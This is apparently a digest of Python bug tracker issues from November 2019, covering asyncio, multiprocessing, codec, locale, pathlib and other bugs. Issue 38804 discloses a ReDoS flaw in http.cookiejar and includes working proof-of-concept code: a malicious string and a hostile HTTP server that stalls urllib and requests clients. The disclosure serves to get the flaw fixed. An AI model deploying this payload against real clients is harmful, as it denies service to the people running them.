RuntimeError: <_overlapped.Overlapped object at 0x000000106FDD7AE0> still has pending operation at deallocation, the process may crash

Error on reading from the event loop self pipe
loop: <ProactorEventLoop running=True closed=False debug=False>
Traceback (most recent call last):
  File "D:\buildarea\3.x.ware-win81-release.nondebug\build\lib\asyncio\windows_events.py", line 453, in finish_recv
    return ov.getresult()
OSError: [WinError 995] The I/O operation has been aborted because of either a thread exit or an application request

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "D:\buildarea\3.x.ware-win81-release.nondebug\build\lib\asyncio\proactor_events.py", line 768, in _loop_self_reading
    f.result()  # may raise
  File "D:\buildarea\3.x.ware-win81-release.nondebug\build\lib\asyncio\windows_events.py", line 808, in _poll
    value = callback(transferred, key, ov)
  File "D:\buildarea\3.x.ware-win81-release.nondebug\build\lib\asyncio\windows_events.py", line 457, in finish_recv
    raise ConnectionResetError(*exc.args)
ConnectionResetError: [WinError 995] The I/O operation has been aborted because of either a thread exit or an application request

ok

----------
components: Tests, Windows, asyncio
messages: 356608
nosy: asvetlov, paul.moore, steve.dower, tim.golden, vstinner, yselivanov, zach.ware
priority: normal
severity: normal
status: open
title: test_asyncio.test_sendfile.test_sendfile_ssl_pre_and_post_data(): Overlapped still has pending operation at deallocation error on AMD64 Windows8.1 Non-Debug 3.x
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38798>
_______________________________________

From report at bugs.python.org  Thu Nov 14 09:24:23 2019
From: report at bugs.python.org (Steve Lorimer)
Date: Thu, 14 Nov 2019 14:24:23 +0000
Subject: [New-bugs-announce] [issue38799] race condition in
 multiprocessing.Pool with maxtasksperchild=1
Message-ID: <1573741463.54.0.726386081745.issue38799@roundup.psfhosted.org>


New submission from Steve Lorimer <steve.lorimer at gmail.com>:

There is a race condition when closing/joining a pool with maxtasksperchild=1

Illustrative example:

```
#!/usr/bin/env python3
import os
import time
import logging
import multiprocessing.pool

def run_task(i):
    print(f'[{os.getpid()}] task({i}) complete')

if __name__ == '__main__':
    multiprocessing.log_to_stderr(logging.DEBUG)

    tasks = iter(range(10))
    processes = 4

    pool = multiprocessing.pool.Pool(processes=processes, maxtasksperchild=1)
    running = []
    while True:
        try:
            running = [ f for f in running if not f.ready() ]
            avail = processes - len(running)
            if avail:
                for _ in range(avail):
                    i = next(tasks)
                    print(f'[{os.getpid()}] add task({i})')
                    future = pool.apply_async(run_task, ( i, ))
                    running.append(future)
            else:
                time.sleep(0.1)
        except StopIteration:
            print(f'[{os.getpid()}] all tasks scheduled')
            break

    print(f'[{os.getpid()}] close and join pool')
    pool.close()
    pool.join()
    print(f'[{os.getpid()}] all done')
```


Example output:


```
[DEBUG/MainProcess] created semlock with handle 140042193375232
[DEBUG/MainProcess] created semlock with handle 140042193371136
[DEBUG/MainProcess] created semlock with handle 140042193367040
[DEBUG/MainProcess] created semlock with handle 140042193362944
[DEBUG/MainProcess] added worker
[INFO/ForkPoolWorker-1] child process calling self.run()
[DEBUG/MainProcess] added worker
[INFO/ForkPoolWorker-2] child process calling self.run()
[DEBUG/MainProcess] added worker
[INFO/ForkPoolWorker-3] child process calling self.run()
[DEBUG/MainProcess] added worker
[INFO/ForkPoolWorker-4] child process calling self.run()
[7150] add task(0)
[7150] add task(1)
[7150] add task(2)
[7150] add task(3)
[7151] task(0) complete
[7152] task(1) complete
[7153] task(2) complete
[7154] task(3) complete
[DEBUG/ForkPoolWorker-1] worker exiting after 1 tasks
[INFO/ForkPoolWorker-1] process shutting down
[DEBUG/ForkPoolWorker-2] worker exiting after 1 tasks
[DEBUG/ForkPoolWorker-1] running all "atexit" finalizers with priority >= 0
[DEBUG/ForkPoolWorker-3] worker exiting after 1 tasks
[INFO/ForkPoolWorker-2] process shutting down
<snip>
[DEBUG/MainProcess] cleaning up worker 2
[DEBUG/MainProcess] cleaning up worker 1
[7150] add task(8)
[7150] add task(9)
[DEBUG/MainProcess] cleaning up worker 0
[7150] all tasks scheduled
[DEBUG/MainProcess] added worker
[7150] close and join pool
[DEBUG/MainProcess] closing pool
[DEBUG/MainProcess] joining pool
[INFO/ForkPoolWorker-9] child process calling self.run()
[DEBUG/MainProcess] added worker
[INFO/ForkPoolWorker-10] child process calling self.run()
[DEBUG/MainProcess] added worker
[7164] task(9) complete
[DEBUG/ForkPoolWorker-10] worker exiting after 1 tasks
[INFO/ForkPoolWorker-10] process shutting down
[DEBUG/ForkPoolWorker-10] running all "atexit" finalizers with priority >= 0
[DEBUG/ForkPoolWorker-10] running the remaining "atexit" finalizers
[INFO/ForkPoolWorker-10] process exiting with exitcode 0
[INFO/ForkPoolWorker-11] child process calling self.run()
[DEBUG/MainProcess] cleaning up worker 2
[DEBUG/MainProcess] added worker
[INFO/ForkPoolWorker-12] child process calling self.run()
```


The process hangs forever.

Interrupting the process then produces the following output:


```
^CTraceback (most recent call last):
[INFO/ForkPoolWorker-11] process shutting down
  File "./test.py", line 36, in <module>
[INFO/ForkPoolWorker-12] process shutting down
[DEBUG/ForkPoolWorker-11] running all "atexit" finalizers with priority >= 0
[DEBUG/ForkPoolWorker-12] running all "atexit" finalizers with priority >= 0
[DEBUG/ForkPoolWorker-11] running the remaining "atexit" finalizers
Process ForkPoolWorker-11:
[DEBUG/ForkPoolWorker-12] running the remaining "atexit" finalizers
Process ForkPoolWorker-12:
    pool.join()
  File "/usr/lib/python3.6/multiprocessing/pool.py", line 546, in join
    self._worker_handler.join()
  File "/usr/lib/python3.6/threading.py", line 1056, in join
    self._wait_for_tstate_lock()
  File "/usr/lib/python3.6/threading.py", line 1072, in _wait_for_tstate_lock
Traceback (most recent call last):
  File "/usr/lib/python3.6/multiprocessing/process.py", line 258, in _bootstrap
    self.run()
  File "/usr/lib/python3.6/multiprocessing/process.py", line 93, in run
    self._target(*self._args, **self._kwargs)
  File "/usr/lib/python3.6/multiprocessing/pool.py", line 108, in worker
    task = get()
  File "/usr/lib/python3.6/multiprocessing/queues.py", line 334, in get
    with self._rlock:
  File "/usr/lib/python3.6/multiprocessing/synchronize.py", line 95, in __enter__
    return self._semlock.__enter__()
KeyboardInterrupt
[INFO/ForkPoolWorker-12] process exiting with exitcode 1
    elif lock.acquire(block, timeout):
KeyboardInterrupt
Traceback (most recent call last):
  File "/usr/lib/python3.6/multiprocessing/process.py", line 258, in _bootstrap
    self.run()
  File "/usr/lib/python3.6/multiprocessing/process.py", line 93, in run
    self._target(*self._args, **self._kwargs)
  File "/usr/lib/python3.6/multiprocessing/pool.py", line 108, in worker
    task = get()
  File "/usr/lib/python3.6/multiprocessing/queues.py", line 335, in get
    res = self._reader.recv_bytes()
  File "/usr/lib/python3.6/multiprocessing/connection.py", line 216, in recv_bytes
    buf = self._recv_bytes(maxlength)
  File "/usr/lib/python3.6/multiprocessing/connection.py", line 407, in _recv_bytes
    buf = self._recv(4)
  File "/usr/lib/python3.6/multiprocessing/connection.py", line 379, in _recv
    chunk = read(handle, remaining)
KeyboardInterrupt
[INFO/ForkPoolWorker-11] process exiting with exitcode 1
[INFO/MainProcess] process shutting down
[DEBUG/MainProcess] running all "atexit" finalizers with priority >= 0
[DEBUG/MainProcess] finalizing pool
[DEBUG/MainProcess] helping task handler/workers to finish
[DEBUG/MainProcess] removing tasks from inqueue until task handler finished
[DEBUG/MainProcess] joining worker handler
[DEBUG/MainProcess] result handler found thread._state=TERMINATE
[DEBUG/MainProcess] ensuring that outqueue is not full
[DEBUG/MainProcess] result handler exiting: len(cache)=2, thread._state=2
[DEBUG/MainProcess] worker handler exiting
[DEBUG/MainProcess] terminating workers
[DEBUG/MainProcess] task handler got sentinel
[DEBUG/MainProcess] task handler sending sentinel to result handler
[DEBUG/MainProcess] task handler sending sentinel to workers
[DEBUG/MainProcess] joining task handler
[DEBUG/MainProcess] task handler exiting
[DEBUG/MainProcess] joining result handler
[DEBUG/MainProcess] joining pool workers
[DEBUG/MainProcess] running the remaining "atexit" finalizers
```


Since this is a race condition, the example code may need to be run several times to cause it to hang.


```
$ for i in {1..100}; do ./test.py; done
```


Notably, removing maxtasksperchild stops the process from hanging.


Additionally, changing the sleep to a busy wait causes the issue to go away:


```
wait = time.time() + 0.1
while time.time() < wait:
    pass
```

----------
components: Library (Lib)
messages: 356609
nosy: steve.lorimer at gmail.com
priority: normal
severity: normal
status: open
title: race condition in multiprocessing.Pool with maxtasksperchild=1
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38799>
_______________________________________

From report at bugs.python.org  Thu Nov 14 09:30:24 2019
From: report at bugs.python.org (Pedro Gimeno)
Date: Thu, 14 Nov 2019 14:30:24 +0000
Subject: [New-bugs-announce] [issue38800] Resume position for UTF-8 codec
 error handler not working
Message-ID: <1573741824.98.0.130776319775.issue38800@roundup.psfhosted.org>


New submission from Pedro Gimeno <pgpyb-4414 at personal.formauri.es>:

When implementing an error handler, it must return a tuple consisting of a substitution string and a position where to resume decoding. In the case of the UTF-8 codec, the resume position is ignored, and it always resumes immediately after the character that caused the error.

To reproduce, use this code:

import codecs
codecs.register_error('err', lambda err: (b'x', err.end + 1))
assert repr(u'\uDD00yz'.encode('utf8', errors='err')) == b'xz'

The above code fails the assertion because the result is b'xyz'.

It works OK for some other codecs. I have not tried to make an exhaustive list of which ones work and which ones don't, therefore this problem might apply to others.

----------
messages: 356610
nosy: pgimeno
priority: normal
severity: normal
status: open
title: Resume position for UTF-8 codec error handler not working
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38800>
_______________________________________

From report at bugs.python.org  Thu Nov 14 12:31:42 2019
From: report at bugs.python.org (Yaroslav Nikitenko)
Date: Thu, 14 Nov 2019 17:31:42 +0000
Subject: [New-bugs-announce] [issue38801] Scientific notation doesn't work
 with itertools.islice
Message-ID: <1573752702.13.0.205324703256.issue38801@roundup.psfhosted.org>


New submission from Yaroslav Nikitenko <metst13 at gmail.com>:

Numbers written in scientific notation don't work with itertools.islice.

Check this script: 

# a usual function works
## def works as well
f = lambda x : x 
f(1e+6)
# 1000000.0
import itertools
# islice without scientific notation works
itertools.islice([], 1000000)
# <itertools.islice object at 0x7fc7ce55be90>
itertools.islice([], 1e+6)
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
# ValueError: Stop argument for islice() must be None or an integer: 0 <= x <= sys.maxsize.

All this works well in Python 2.7.17, but scientific notation fails in Python 3.7.5. I use Fedora Core 29.

----------
components: Library (Lib)
messages: 356618
nosy: ynikitenko
priority: normal
severity: normal
status: open
title: Scientific notation doesn't work with itertools.islice
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38801>
_______________________________________

From report at bugs.python.org  Thu Nov 14 16:52:21 2019
From: report at bugs.python.org (Michael Yagliyan)
Date: Thu, 14 Nov 2019 21:52:21 +0000
Subject: [New-bugs-announce] [issue38802] Clearer wording of os.WNOHANG
 documentation to avoid misinterpretation
Message-ID: <1573768341.13.0.576203356509.issue38802@roundup.psfhosted.org>


New submission from Michael Yagliyan <myagliyan1 at bloomberg.net>:

For versions 2.7 through 3.9 of https://docs.python.org/3/library/os.html, os.WNOHANG is described as returning (0, 0) when no child process status is immediately available.

However, both os.wait3() and os.wait4() return 3-element tuples and are described as being similar to os.waitpid().  This, combined with the os.WNOHANG documentation being somewhat open to interpretation, makes it very easy to conclude (incorrectly) that wait3(WNOHANG) and wait4(WNOHANG) would return (0, 0) when no child process status is immediately available.  In fact, they would return a 3-element tuple with the first 2 elements being 0.

I suggest rephrasing the os.WNOHANG documentation to the following (or something similar):

"The option for waitpid() to return immediately if no child process status is available immediately, in which case the function returns (0, 0).  Correspondingly, wait3() and wait4() would return 3-element tuples with the first 2 elements being 0 and the last being a default-constructed resource usage information object."

Unfortunately that last part about the default-constructed resource usage information object is only true after this recent bug fix:
https://github.com/python/cpython/pull/15111/files

So I'll leave it to y'all to decide how to update the documentation since my proposed phrasing is dependent on that bug fix.

----------
assignee: docs at python
components: Documentation
messages: 356627
nosy: bbmmy, docs at python
priority: normal
severity: normal
status: open
title: Clearer wording of os.WNOHANG documentation to avoid misinterpretation
type: enhancement
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38802>
_______________________________________

From report at bugs.python.org  Thu Nov 14 17:46:32 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 14 Nov 2019 22:46:32 +0000
Subject: [New-bugs-announce] [issue38803] test_wait3 and test_wait4 leaked
 references on x86 Gentoo Refleaks 3.x
Message-ID: <1573771592.29.0.825228162147.issue38803@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at python.org>:

x86 Gentoo Refleaks 3.x, first failure:
https://buildbot.python.org/all/#/builders/1/builds/769

test_wait3 leaked [23, 23, 23] references, sum=69
test_wait4 leaked [22, 21, 22] references, sum=65


The leak was introduced by:

commit b3966639d28313809774ca3859a347b9007be8d2
Author: Eddie Elizondo <eelizondo at fb.com>
Date:   Tue Nov 5 07:16:14 2019 -0800

    bpo-35381 Remove all static state from posixmodule (GH-15892)
    
    
    
    After #9665, this moves the remaining types in posixmodule to be heap-allocated to make it compatible with PEP384 as well as modifying all the type accessors to fully make the type opaque.
    
    The original PR that got messed up a rebase: https://github.com/python/cpython/pull/10854. All the issues in that commit have now been addressed since https://github.com/python/cpython/pull/11661 got committed.
    
    This change also removes any state from the data segment and onto the module state itself.
    
    
    https://bugs.python.org/issue35381
    
    
    
    Automerge-Triggered-By: @encukou

----------
components: Tests
messages: 356633
nosy: vstinner
priority: normal
severity: normal
status: open
title: test_wait3 and test_wait4 leaked references on x86 Gentoo Refleaks 3.x
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38803>
_______________________________________

From report at bugs.python.org  Thu Nov 14 18:38:00 2019
From: report at bugs.python.org (Ben Caller)
Date: Thu, 14 Nov 2019 23:38:00 +0000
Subject: [New-bugs-announce] [issue38804] Regular Expression Denial of
 Service in http.cookiejar
Message-ID: <1573774680.03.0.864081161145.issue38804@roundup.psfhosted.org>


New submission from Ben Caller <bcaller at gmail.com>:

The regex http.cookiejar.LOOSE_HTTP_DATE_RE iss vulnerable to regular
expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time.

The regex http.cookiejar.LOOSE_HTTP_DATE_RE contains multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex can be simplified to

    \d+-\w+-\d+(\s*\s*\s*)$

Therefore, a long sequence of spaces can trigger bad performance.
LOOSE_HTTP_DATE_RE backtracks if last character doesn't match \s or (?![APap][Mm]\b)[A-Za-z]+

Matching a malicious string such as

    LOOSE_HTTP_DATE_RE.match("1-1-1" + (" " * 2000) + "!")

will cause catastrophic backtracking.

Timing test:


    import http.cookiejar
    import timeit

    def run(n_spaces):
        assert n_spaces <= 65506, "Set-Cookie header line must be <= 65536"
        spaces = " " * n_spaces
        expires = f"1-1-1{spaces}!"
        http2time = http.cookiejar.http2time
        t = timeit.Timer(
            'http2time(expires)',
            globals=locals(),
        )
        print(n_spaces, "{:.3g}".format(t.autorange()[1]))

    i = 512
    while True:
        run(i)
        i <<= 1


Timeit output (seconds) on my computer when doubling the number of spaces:


    512     0.383
    1024    3.02
    2048   23.4
    4096  184
    8192 1700

As expected it's approx O(n^3). The maximum n_spaces to fit in a Set-Cookie header is 65506 which will take days.

You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g.


    from http.server import BaseHTTPRequestHandler, HTTPServer

    def make_set_cookie_value(n_spaces):
        spaces = " " * n_spaces
        expiry = f"1-1-1{spaces}!"
        return f"x;Expires={expiry}"

    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.log_request(204)
            self.send_response_only(204)  # Don't bother sending Server and Date
            n_spaces = (
                int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences
                if len(self.path) > 1 else
                65506  # Max header line length 65536
            )
            value = make_set_cookie_value(n_spaces)
            for i in range(99):  # Not necessary, but we can have up to 100 header lines
                self.send_header("Set-Cookie", value)
            self.end_headers()

    if __name__ == "__main__":
        HTTPServer(("", 44020), Handler).serve_forever()


This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.

Vulnerable client using the example at the bottom of https://docs.python.org/3/library/http.cookiejar.html :


    import http.cookiejar, urllib.request
    cj = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
    r = opener.open("http://localhost:44020/")


The popular requests library is also vulnerable without any additional options (as it uses http.cookiejar by default):


    import requests
    requests.get("http://localhost:44020/")


As such, python applications need to be careful not to visit malicious servers.

I have a patch. Will make a PR soon.
This was originally submitted to the security list, but posted here 'since this is "merely" a DoS attack and not a privilege escalation'.

- Ben

----------
components: Library (Lib)
messages: 356636
nosy: bc
priority: normal
severity: normal
status: open
title: Regular Expression Denial of Service in http.cookiejar
type: security
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38804>
_______________________________________

From report at bugs.python.org  Thu Nov 14 18:45:29 2019
From: report at bugs.python.org (Mark Grandi)
Date: Thu, 14 Nov 2019 23:45:29 +0000
Subject: [New-bugs-announce] [issue38805] locale.getlocale() returns a non
 RFC1766 language code
Message-ID: <1573775129.28.0.0290867966019.issue38805@roundup.psfhosted.org>


New submission from Mark Grandi <markgrandi at gmail.com>:

It seems that something with windows 10, python 3.8, or both changed where `locale.getlocale()` is now returning strange results

According to the documentation: https://docs.python.org/3/library/locale.html?highlight=locale%20getlocale#locale.getlocale  , the language code should be in RFC1766 format:

Language-Tag = Primary-tag *( "-" Subtag )
Primary-tag = 1*8ALPHA
Subtag = 1*8ALPHA
Whitespace is not allowed within the tag.

but in python 3.8, I am getting a language code that doesn't meet RFC1766 specs:


PS C:\Users\auror> py -3
Python 3.8.0 (tags/v3.8.0:fa919fd, Oct 14 2019, 19:37:50) [MSC v.1916 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import platform; platform.platform()
'Windows-10-10.0.18362-SP0'
>>> import locale; locale.getlocale(); locale.getdefaultlocale()
('English_United States', '1252')
('en_US', 'cp1252')
>>>


on the same machine, with python 3.7.4:

PS C:\Python37> .\python.exe
Python 3.7.4 (tags/v3.7.4:e09359112e, Jul  8 2019, 20:34:20) [MSC v.1916 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import platform; platform.platform()
'Windows-10-10.0.18362-SP0'
>>> import locale; locale.getlocale(); locale.getdefaultlocale()
(None, None)
('en_US', 'cp1252')
>>>


also interesting that the encoding is different in py3.8 between `locale.getlocale()` and `locale.getdefaultlocale()`, being '1252' and 'cp1252', this might not be related though as it was present in python 3.7.4

these issues might be related, but stuff found hwen searching for 'locale' bugs:

https://bugs.python.org/issue26024
https://bugs.python.org/issue37945

----------
components: Library (Lib)
messages: 356637
nosy: markgrandi
priority: normal
severity: normal
status: open
title: locale.getlocale() returns a non RFC1766 language code
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38805>
_______________________________________

From report at bugs.python.org  Thu Nov 14 19:26:53 2019
From: report at bugs.python.org (daniel hahler)
Date: Fri, 15 Nov 2019 00:26:53 +0000
Subject: [New-bugs-announce] =?utf-8?b?W2lzc3VlMzg4MDZdICJwZGIuUGRiKHNr?=
 =?utf-8?b?aXA94oCmKS5zZXRfdHJhY2UoKSIgc2hvdWxkIGFsd2F5cyBzdG9wIG9uIGNh?=
 =?utf-8?q?lling_frame?=
Message-ID: <1573777613.93.0.994248394798.issue38806@roundup.psfhosted.org>


New submission from daniel hahler <python-bugs at thequod.de>:

The following will not stop for debugging:

    python3.8 -c 'import pdb; pdb.Pdb(skip=["__main__"]).set_trace()'

The example is contrived, the real case would be to have some "noisy" module being excluded in general, but when you add an explicit "set_trace()" in there it should still stop there, and not on some upper frame.

This was changed a long time already in https://github.com/python/cpython/commit/313a7513b0c5771042d850d70782a2448d1cdcb7 (Python 2.3), but it is not really clear.

I will create a PR reverting that part and see how it goes.

----------
components: Library (Lib)
messages: 356638
nosy: blueyed
priority: normal
severity: normal
status: open
title: "pdb.Pdb(skip=?).set_trace()" should always stop on calling frame
type: behavior
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38806>
_______________________________________

From report at bugs.python.org  Thu Nov 14 20:02:30 2019
From: report at bugs.python.org (=?utf-8?b?VG9tw6FzIEZhcsOtYXM=?=)
Date: Fri, 15 Nov 2019 01:02:30 +0000
Subject: [New-bugs-announce] [issue38807] Better exception message in
 os.path.join
Message-ID: <1573779750.02.0.708670809394.issue38807@roundup.psfhosted.org>


New submission from Tom?s Far?as <tomasfariassantana at gmail.com>:

Passing an object with an invalid type, like None, to os.path.join after the first argument results in the following exception: 

TypeError: join() argument must be str or bytes, not 'NoneType'

Exception message can be updated to show that os.PathLike objects can be used:

TypeError: join() argument must be str, bytes or os.PathLike object, not 'NoneType'

This is also more consistent with the TypeError raised by os.fspath.

----------
components: Library (Lib)
messages: 356640
nosy: tomasfarias
priority: normal
severity: normal
status: open
title: Better exception message in os.path.join
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38807>
_______________________________________

From report at bugs.python.org  Fri Nov 15 02:06:57 2019
From: report at bugs.python.org (Zach kuunka)
Date: Fri, 15 Nov 2019 07:06:57 +0000
Subject: [New-bugs-announce] [issue38808] weird bug while using a for loop
 and array
Message-ID: <1573801617.55.0.5716631107.issue38808@roundup.psfhosted.org>


New submission from Zach kuunka <zach.kunka at gmail.com>:

I haven't used this bug reporting thing before so sorry if I mess something up.

Anyway i'm not sure exactly what is causing the issue but the issue appears when you have a for loop looping through an array and you make a variable and set it to that array and append something to it. If you do the same thing with numbers it works as expected but if you do it with an array it for some reason doesn't get reset every iteration. Run this and you'll see what i'm talking about.

Arr = [1,2,3,4,5]
for num in Arr:
    Arr2 = Arr
    Arr2.append(1) #the 1 can be anything
    print(Arr2)

Also i'm interested to know why this happens, Thank You

----------
components: Library (Lib)
files: brokentest.py
messages: 356648
nosy: Zach kuunka
priority: normal
severity: normal
status: open
title: weird bug while using a for loop and array
type: behavior
versions: Python 3.6
Added file: https://bugs.python.org/file48716/brokentest.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38808>
_______________________________________

From report at bugs.python.org  Fri Nov 15 02:23:46 2019
From: report at bugs.python.org (Tal Einat)
Date: Fri, 15 Nov 2019 07:23:46 +0000
Subject: [New-bugs-announce] [issue38809] On Windows,
 build scripts should prefer using python.exe from an active virtual
 env
Message-ID: <1573802626.93.0.619603015012.issue38809@roundup.psfhosted.org>


New submission from Tal Einat <taleinat at gmail.com>:

On windows several .bat scripts call find_python.bat to find an appropriate python.exe. find_python.bat has no specific support for virtual envs, and usually ends up calling py.exe to find python.exe. Due to virtual envs not including a py.exe, this effectively ignores having an activated virtual env.

It is currently possible to build with the specific python that one wants by setting the PYTHON env var. However, this is a simplistic and non-standard solution compared to virtual envs.

IMO when there is an active virtual env, these scripts should certainly use python.exe from it!

----------
assignee: docs at python
components: Documentation
messages: 356649
nosy: docs at python, taleinat
priority: normal
severity: normal
status: open
title: On Windows, build scripts should prefer using python.exe from an active virtual env
type: enhancement
versions: Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38809>
_______________________________________

From report at bugs.python.org  Fri Nov 15 03:33:40 2019
From: report at bugs.python.org (Andy Maier)
Date: Fri, 15 Nov 2019 08:33:40 +0000
Subject: [New-bugs-announce] [issue38810] SSL connect() raises SSLError
 "[SSL] EC lib (_ssl.c:728)"
Message-ID: <1573806820.45.0.714459136491.issue38810@roundup.psfhosted.org>


New submission from Andy Maier <andreas.r.maier at gmx.de>:

A user of our pywbem package gets an SSLError with message "[SSL] EC lib (_ssl.c:728)" when invoking the connect() method on an SSL wrapped socket. See https://github.com/pywbem/pywbem/issues/1950.

The issue is that with this error message, it is not possible for us to figure out what the problem is and how to correct it.

This happens with CPython 3.5.

I have tried to find the place in _ssl.c (https://github.com/python/cpython/blob/3.5/Modules/_ssl.c) where a string "EC lib" or " lib" is created but did not find it there.

I have two requests:

1. Please explain what the reason is for this exception and what to change in the environment to make it work.

2. Please improve the message in this exception so that it is self-explanatory.

----------
assignee: christian.heimes
components: SSL
messages: 356654
nosy: andymaier, christian.heimes
priority: normal
severity: normal
status: open
title: SSL connect() raises SSLError "[SSL] EC lib (_ssl.c:728)"
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38810>
_______________________________________

From report at bugs.python.org  Fri Nov 15 07:04:34 2019
From: report at bugs.python.org (=?utf-8?q?Toke_H=C3=B8iland-J=C3=B8rgensen?=)
Date: Fri, 15 Nov 2019 12:04:34 +0000
Subject: [New-bugs-announce] [issue38811] Pathlib crashes when os module is
 missing 'link' method
Message-ID: <1573819474.81.0.395497091024.issue38811@roundup.psfhosted.org>


New submission from Toke H?iland-J?rgensen <toke at toke.dk>:

Commit 6b5b013bcc22 ("bpo-26978: Implement pathlib.Path.link_to (Using os.link) (GH-12990)") introduced a new link_to method in pathlib. However, this makes pathlib crash when the 'os' module is missing a 'link' method, as can be seen in the report in this CI test:

https://travis-ci.org/tohojo/flent/jobs/611950252

----------
components: Library (Lib)
messages: 356670
nosy: tohojo
priority: normal
severity: normal
status: open
title: Pathlib crashes when os module is missing 'link' method
type: crash
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38811>
_______________________________________

From report at bugs.python.org  Fri Nov 15 08:30:11 2019
From: report at bugs.python.org (Mike)
Date: Fri, 15 Nov 2019 13:30:11 +0000
Subject: [New-bugs-announce] [issue38812] Comparing datetime.time objects
 incorrect for TZ aware and unaware
Message-ID: <1573824611.55.0.420390589696.issue38812@roundup.psfhosted.org>


New submission from Mike <mikesutton at gmail.com>:

import pytz
import datetime

tzaware_time1 = datetime.time(7,30,tzinfo=pytz.timezone("America/Denver"))
tzaware_time2 = datetime.time(7,30,tzinfo=pytz.utc)

tzunaware_time = datetime.time(7, 30)

# This fails with exception: TypeError: can't compare offset-naive and offset-aware times
# even though both ARE tz aware.
tzaware_time1 < tzaware_time2

# This does NOT raise an exception and should since one is aware and one isn't.
tzunaware_time < tzaware_time1

----------
messages: 356673
nosy: epicadv
priority: normal
severity: normal
status: open
title: Comparing datetime.time objects incorrect for TZ aware and unaware
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38812>
_______________________________________

From report at bugs.python.org  Fri Nov 15 10:02:01 2019
From: report at bugs.python.org (aikimark1955)
Date: Fri, 15 Nov 2019 15:02:01 +0000
Subject: [New-bugs-announce] [issue38813] math.modf() change integer
 returned part as integer instead of float
Message-ID: <1573830121.16.0.0643429724566.issue38813@roundup.psfhosted.org>


New submission from aikimark1955 <aikimark1955 at gmail.com>:

The description for this function reads:
"Return the fractional and integer parts of x. Both results carry the sign of x and are floats."

Since the second returned value is "integer parts", I submit that the value should be integer.

----------
components: Library (Lib)
messages: 356680
nosy: aikimark1955
priority: normal
severity: normal
status: open
title: math.modf() change integer returned part as integer instead of float
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38813>
_______________________________________

From report at bugs.python.org  Fri Nov 15 11:47:28 2019
From: report at bugs.python.org (=?utf-8?b?TMOhc3psw7MgS8Ohcm9seWk=?=)
Date: Fri, 15 Nov 2019 16:47:28 +0000
Subject: [New-bugs-announce] [issue38814] Python3.7.5 crashes on OSX with my
 django project
Message-ID: <1573836448.58.0.543746044078.issue38814@roundup.psfhosted.org>


New submission from L?szl? K?rolyi <laszlo at karolyi.hu>:

Hey,

I have a huge Django project that starts up fine with the dev server on Linux and in production that is also Linux. Whenever I try to start it on my OSX, the python process crashes with a SIGABRT and I get a crash window from OSX.

I use homebrew with the latest packages and python3.7.5 is now compiled from source, to avoid dependency problems.

Here's the log:
Process:               Python [85125]
Path:                  /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/Resources/Python.app/Contents/MacOS/Python
Identifier:            Python
Version:               3.7.5 (3.7.5)
Code Type:             X86-64 (Native)
Parent Process:        fish [1857]
Responsible:           Terminal [1732]
User ID:               501

Date/Time:             2019-11-15 17:39:46.178 +0100
OS Version:            Mac OS X 10.15.1 (19B88)
Report Version:        12
Anonymous UUID:        CC50B63E-FBC1-6461-576B-EE6AF1E52EFE

Sleep/Wake UUID:       A2774262-4258-4B95-8AAF-642CDEF9014E

Time Awake Since Boot: 280000 seconds
Time Since Wake:       710 seconds

System Integrity Protection: enabled

Crashed Thread:        0  Dispatch queue: com.apple.main-thread

Exception Type:        EXC_CRASH (SIGABRT)
Exception Codes:       0x0000000000000000, 0x0000000000000000
Exception Note:        EXC_CORPSE_NOTIFY

Termination Signal:    Abort trap: 6
Termination Reason:    Namespace SIGNAL, Code 0x6
Terminating Process:   Python [85125]

Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0   libsystem_kernel.dylib        	0x00007fff67936e1a __kill + 10
1   org.python.python             	0x0000000100ab0614 os_kill + 57
2   org.python.python             	0x00000001009d910c _PyMethodDef_RawFastCallKeywords + 488
